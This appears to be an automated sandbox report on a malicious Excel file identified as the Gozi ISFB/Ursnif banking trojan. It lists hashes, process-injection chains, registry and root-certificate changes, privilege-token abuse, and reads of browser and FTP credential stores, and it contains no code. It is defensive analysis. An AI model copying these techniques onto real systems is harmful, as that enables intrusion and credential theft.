gozi_ifsb | 71f08e9b72d2349a42b7b594a2589eed621ae0f7f581406cfcc76f7d367c9590

Analysis

max time kernel
66s
max time network
140s
platform
windows7_x64
resource
win7v200430
submitted
14-07-2020 05:18

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General

Target

tr_6.xls
Size

90KB
MD5

a9da58b136b998405015544f03a31626
SHA1

63450e902625e771f03056ca104c146c49cecb89
SHA256

71f08e9b72d2349a42b7b594a2589eed621ae0f7f581406cfcc76f7d367c9590
SHA512

acbcdbe8070e3f073e6046216ffed61785a15cb5e69a1fd70c86193a0a5ecebcb3780e063038479fb35640f8cd0640f764b5e0b93f042b448224a10f1060f261

Score

10^/10

evasion spyware trojan discovery banker gozi_ifsb rat stealer pony ursnif

Malware Config

Signatures

Suspicious use of WriteProcessMemory 88 IoCs

Processes:

EXCEL.EXEregsvr32.exeregsvr32.exesvchost.exeiexplore.exemshta.exepowershell.execsc.execsc.exeExplorer.EXE

description	pid	process	target process
PID 828 wrote to memory of 1320	828	EXCEL.EXE	regsvr32.exe
PID 828 wrote to memory of 1320	828	EXCEL.EXE	regsvr32.exe
PID 828 wrote to memory of 1320	828	EXCEL.EXE	regsvr32.exe
PID 828 wrote to memory of 1320	828	EXCEL.EXE	regsvr32.exe
PID 828 wrote to memory of 1320	828	EXCEL.EXE	regsvr32.exe
PID 1320 wrote to memory of 1812	1320	regsvr32.exe	regsvr32.exe
PID 1320 wrote to memory of 1812	1320	regsvr32.exe	regsvr32.exe
PID 1320 wrote to memory of 1812	1320	regsvr32.exe	regsvr32.exe
PID 1320 wrote to memory of 1812	1320	regsvr32.exe	regsvr32.exe
PID 1320 wrote to memory of 1812	1320	regsvr32.exe	regsvr32.exe
PID 1320 wrote to memory of 1812	1320	regsvr32.exe	regsvr32.exe
PID 1320 wrote to memory of 1812	1320	regsvr32.exe	regsvr32.exe
PID 1812 wrote to memory of 372	1812	regsvr32.exe	svchost.exe
PID 1812 wrote to memory of 372	1812	regsvr32.exe	svchost.exe
PID 1812 wrote to memory of 372	1812	regsvr32.exe	svchost.exe
PID 1812 wrote to memory of 372	1812	regsvr32.exe	svchost.exe
PID 1812 wrote to memory of 372	1812	regsvr32.exe	svchost.exe
PID 1812 wrote to memory of 372	1812	regsvr32.exe	svchost.exe
PID 372 wrote to memory of 1596	372	svchost.exe	cmd.exe
PID 372 wrote to memory of 1596	372	svchost.exe	cmd.exe
PID 372 wrote to memory of 1596	372	svchost.exe	cmd.exe
PID 372 wrote to memory of 1596	372	svchost.exe	cmd.exe
PID 372 wrote to memory of 1936	372	svchost.exe	svchost.exe
PID 372 wrote to memory of 1936	372	svchost.exe	svchost.exe
PID 372 wrote to memory of 1936	372	svchost.exe	svchost.exe
PID 372 wrote to memory of 1936	372	svchost.exe	svchost.exe
PID 372 wrote to memory of 1936	372	svchost.exe	svchost.exe
PID 372 wrote to memory of 1936	372	svchost.exe	svchost.exe
PID 372 wrote to memory of 2012	372	svchost.exe	BNE29.tmp
PID 372 wrote to memory of 2012	372	svchost.exe	BNE29.tmp
PID 372 wrote to memory of 2012	372	svchost.exe	BNE29.tmp
PID 372 wrote to memory of 2012	372	svchost.exe	BNE29.tmp
PID 852 wrote to memory of 1692	852	iexplore.exe	IEXPLORE.EXE
PID 852 wrote to memory of 1692	852	iexplore.exe	IEXPLORE.EXE
PID 852 wrote to memory of 1692	852	iexplore.exe	IEXPLORE.EXE
PID 852 wrote to memory of 1692	852	iexplore.exe	IEXPLORE.EXE
PID 852 wrote to memory of 1788	852	iexplore.exe	IEXPLORE.EXE
PID 852 wrote to memory of 1788	852	iexplore.exe	IEXPLORE.EXE
PID 852 wrote to memory of 1788	852	iexplore.exe	IEXPLORE.EXE
PID 852 wrote to memory of 1788	852	iexplore.exe	IEXPLORE.EXE
PID 2096 wrote to memory of 2148	2096	mshta.exe	powershell.exe
PID 2096 wrote to memory of 2148	2096	mshta.exe	powershell.exe
PID 2096 wrote to memory of 2148	2096	mshta.exe	powershell.exe
PID 2148 wrote to memory of 2232	2148	powershell.exe	csc.exe
PID 2148 wrote to memory of 2232	2148	powershell.exe	csc.exe
PID 2148 wrote to memory of 2232	2148	powershell.exe	csc.exe
PID 2232 wrote to memory of 2252	2232	csc.exe	cvtres.exe
PID 2232 wrote to memory of 2252	2232	csc.exe	cvtres.exe
PID 2232 wrote to memory of 2252	2232	csc.exe	cvtres.exe
PID 2148 wrote to memory of 2276	2148	powershell.exe	csc.exe
PID 2148 wrote to memory of 2276	2148	powershell.exe	csc.exe
PID 2148 wrote to memory of 2276	2148	powershell.exe	csc.exe
PID 2276 wrote to memory of 2296	2276	csc.exe	cvtres.exe
PID 2276 wrote to memory of 2296	2276	csc.exe	cvtres.exe
PID 2276 wrote to memory of 2296	2276	csc.exe	cvtres.exe
PID 2148 wrote to memory of 1296	2148	powershell.exe	Explorer.EXE
PID 2148 wrote to memory of 1296	2148	powershell.exe	Explorer.EXE
PID 2148 wrote to memory of 1296	2148	powershell.exe	Explorer.EXE
PID 1296 wrote to memory of 852	1296	Explorer.EXE	iexplore.exe
PID 1296 wrote to memory of 2368	1296	Explorer.EXE	cmd.exe
PID 1296 wrote to memory of 2368	1296	Explorer.EXE	cmd.exe
PID 1296 wrote to memory of 2368	1296	Explorer.EXE	cmd.exe
PID 1296 wrote to memory of 2368	1296	Explorer.EXE	cmd.exe
PID 1296 wrote to memory of 852	1296	Explorer.EXE	iexplore.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

svchost.exepowershell.exeExplorer.EXE

pid process

372 svchost.exe
372 svchost.exe
372 svchost.exe
2148 powershell.exe
2148 powershell.exe
1296 Explorer.EXE
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

pid process

2148 powershell.exe
1296 Explorer.EXE
1296 Explorer.EXE
2368 cmd.exe

pid	process
372	svchost.exe
372	svchost.exe
372	svchost.exe
2148	powershell.exe
2148	powershell.exe
1296	Explorer.EXE

pid	process
2148	powershell.exe
1296	Explorer.EXE
1296	Explorer.EXE
2368	cmd.exe

Checks for installed software on the system 1 TTPs 10 IoCs

discovery

Query Registry

T1012

Processes:

svchost.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall	svchost.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName	svchost.exe

Modifies Internet Explorer settings 1 TTPs 38 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 404ddaf3ae59d601	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007cf8d5bd09b0364592b95b96ab3123880000000002000000000010660000000100002000000063558eeb7dd9fa00a8db8ebc40934e1ff02883e98d23accc0f77241dd30d0dc3000000000e8000000002000020000000267804cf6b64133477cc9ab43d86b69cfd7e9d7c1f9c30c5d88c2537822a089e2000000088bfce80a1d2c126a2c7783e2f06c8ab549e0753a48907d83d3823cdbb64edf1400000005622b0b0aa9f333f70e6b1c6fe3003f9d4947c6121b76b487458c7ce9a7616588ccb5da1b564efaa370b7dcbe75c126dab8a4599a3935b5ea563db4a07c4ca36	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{2DC2CB41-C5A2-11EA-BC1E-621AE3F3C0AD} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007cf8d5bd09b0364592b95b96ab31238800000000020000000000106600000001000020000000e1421ed44010b61aa3b5a7877ae6fa54c5e01565cd2bd7f9cbd9ae2fba4200bf000000000e8000000002000020000000cf13d01a02aa71af54858143f8c535787ac548109adef70a5f44c021bbece7af900000002befb2e3dcdfc132d41ef29985e847324ed4020448a111b1d6a855679630c820ee389371877cc4e779cd4eedd4311e75a4f4df1850697dc4f9b737475c1e17d411224a125a07cc076aebb0013afa67e815c6282efddb002d98c69ef29466c6b14f8790b6b5eeecc4b70f72b8fbf18ad6fad0897090ed2fd4b3435338f7fed264f62d18b4eb8a6539cba49e5bf4024fd8400000002f4f9522898f098de050ba369d7e22c587f8a9bc118e53ebfc9cfd263a2108074ce90479f46e34083351dc3d40d9c7f1fd4dd4c33fbc9a65698373df3190069c	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe

Ursnif, Dreambot
Ursnif is a variant of the Gozi IFSB with more capabilities.
banker trojan ursnif
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

828 EXCEL.EXE

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
Pony,Fareit
Pony is a Remote Access Trojan application that steals information.
rat spyware stealer pony
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

5 api.ipify.org
Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

iexplore.exe

pid process

852 iexplore.exe
852 iexplore.exe
852 iexplore.exe
Executes dropped EXE 1 IoCs

Processes:

BNE29.tmp

pid process

2012 BNE29.tmp
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

PING.EXE

pid process

2416 PING.EXE
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2416 PING.EXE

flow	ioc
5	api.ipify.org

pid	process
852	iexplore.exe
852	iexplore.exe
852	iexplore.exe

pid	process
2012	BNE29.tmp

pid	process
2416	PING.EXE

pid	process
2416	PING.EXE

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	svchost.exe

Checks whether UAC is enabled 3 IoCs

Processes:

IEXPLORE.EXEIEXPLORE.EXEiexplore.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1320	828	regsvr32.exe	EXCEL.EXE

Loads dropped DLL 3 IoCs

Processes:

regsvr32.exesvchost.exe

pid process

1812 regsvr32.exe
372 svchost.exe
372 svchost.exe

pid	process
1812	regsvr32.exe
372	svchost.exe
372	svchost.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

regsvr32.exesvchost.exepowershell.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 1812 set thread context of 372	1812	regsvr32.exe	svchost.exe
PID 372 set thread context of 1936	372	svchost.exe	svchost.exe
PID 2148 set thread context of 1296	2148	powershell.exe	Explorer.EXE
PID 1296 set thread context of 852	1296	Explorer.EXE	iexplore.exe
PID 1296 set thread context of 2368	1296	Explorer.EXE	cmd.exe
PID 2368 set thread context of 2416	2368	cmd.exe	PING.EXE

Suspicious use of AdjustPrivilegeToken 33 IoCs

Processes:

svchost.exepowershell.exe

description	pid	process
Token: SeImpersonatePrivilege	372	svchost.exe
Token: SeTcbPrivilege	372	svchost.exe
Token: SeChangeNotifyPrivilege	372	svchost.exe
Token: SeCreateTokenPrivilege	372	svchost.exe
Token: SeBackupPrivilege	372	svchost.exe
Token: SeRestorePrivilege	372	svchost.exe
Token: SeIncreaseQuotaPrivilege	372	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	372	svchost.exe
Token: SeImpersonatePrivilege	372	svchost.exe
Token: SeTcbPrivilege	372	svchost.exe
Token: SeChangeNotifyPrivilege	372	svchost.exe
Token: SeCreateTokenPrivilege	372	svchost.exe
Token: SeBackupPrivilege	372	svchost.exe
Token: SeRestorePrivilege	372	svchost.exe
Token: SeIncreaseQuotaPrivilege	372	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	372	svchost.exe
Token: SeImpersonatePrivilege	372	svchost.exe
Token: SeTcbPrivilege	372	svchost.exe
Token: SeChangeNotifyPrivilege	372	svchost.exe
Token: SeCreateTokenPrivilege	372	svchost.exe
Token: SeBackupPrivilege	372	svchost.exe
Token: SeRestorePrivilege	372	svchost.exe
Token: SeIncreaseQuotaPrivilege	372	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	372	svchost.exe
Token: SeImpersonatePrivilege	372	svchost.exe
Token: SeTcbPrivilege	372	svchost.exe
Token: SeChangeNotifyPrivilege	372	svchost.exe
Token: SeCreateTokenPrivilege	372	svchost.exe
Token: SeBackupPrivilege	372	svchost.exe
Token: SeRestorePrivilege	372	svchost.exe
Token: SeIncreaseQuotaPrivilege	372	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	372	svchost.exe
Token: SeDebugPrivilege	2148	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetWindowsHookEx 15 IoCs

Processes:

EXCEL.EXEiexplore.exeIEXPLORE.EXEIEXPLORE.EXE

pid	process
828	EXCEL.EXE
828	EXCEL.EXE
828	EXCEL.EXE
852	iexplore.exe
852	iexplore.exe
1692	IEXPLORE.EXE
1692	IEXPLORE.EXE
852	iexplore.exe
852	iexplore.exe
1788	IEXPLORE.EXE
1788	IEXPLORE.EXE
852	iexplore.exe
852	iexplore.exe
1692	IEXPLORE.EXE
1692	IEXPLORE.EXE

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:1296
- C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
